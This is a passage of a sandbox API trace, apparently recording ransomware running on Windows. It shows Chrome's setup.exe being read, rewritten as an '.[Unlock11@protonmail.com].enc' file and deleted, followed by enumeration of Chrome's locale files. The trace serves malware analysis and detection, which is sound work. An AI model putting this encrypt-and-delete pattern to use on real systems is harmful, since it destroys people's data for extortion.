(x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z")) returned 1 [0219.251] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x9bada4*="setup.exe") returned 0x51 [0219.252] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958)) returned 1 [0219.252] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367114c | out: pbBuffer=0x367114c) returned 1 [0219.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0219.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0219.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0219.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733e18 [0219.253] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0219.254] GetFileType (hFile=0x334) returned 0x1 [0219.254] GetFileType (hFile=0x334) returned 0x1 [0219.254] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.254] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.254] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.254] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.254] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.254] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.255] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.255] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0219.255] GetFileType (hFile=0x39c) returned 0x1 [0219.255] GetFileType (hFile=0x39c) returned 0x1 [0219.256] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0219.256] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.256] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.256] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.256] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.256] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0219.256] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0219.363] CloseHandle (hObject=0x39c) returned 1 [0219.363] CloseHandle (hObject=0x334) returned 1 [0219.364] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe")) returned 1 [0219.371] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0219.372] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0219.373] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5176a4e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6368a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="am.pak", cAlternateFileName="")) returned 1 [0219.373] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5178eed4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x61971, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0219.373] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517a0044, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7387a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0219.373] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517badf4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x96010, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0219.373] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517e6d14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47028, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0219.373] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5183c444, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4818c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5185e724, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40d21, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51871fa4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3d776, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5189b7b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7f4d9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518b6564, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af54, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518d8844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b0d9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518e99b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46331, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5190bc94, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x476bb, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0219.374] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51929154, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ebe7, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51948d24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x651ac, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5196d714, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x425ec, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51992104, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4884a, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519c5554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4b9a5, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x519e2a14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8d4aa, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45884fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45884fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a025e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x53398, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0219.375] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a26fd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9114d, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0219.376] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a492b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4307f, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0219.376] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a68e84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4af4c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0219.376] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51a8ff84, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3fca0, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0219.376] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ab4974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x44e38, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0219.376] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ade184, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x54eae, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0219.376] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51afb644, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa2f0d, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b18b04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47baa, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b35fc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4869b, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b386d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x48945, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b3fc04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xb6502, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b44a24, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8f98d, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b49844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x36184, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0219.377] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b4e664, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x401f5, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b53484, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x440c8, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b582a4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x472ff, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, 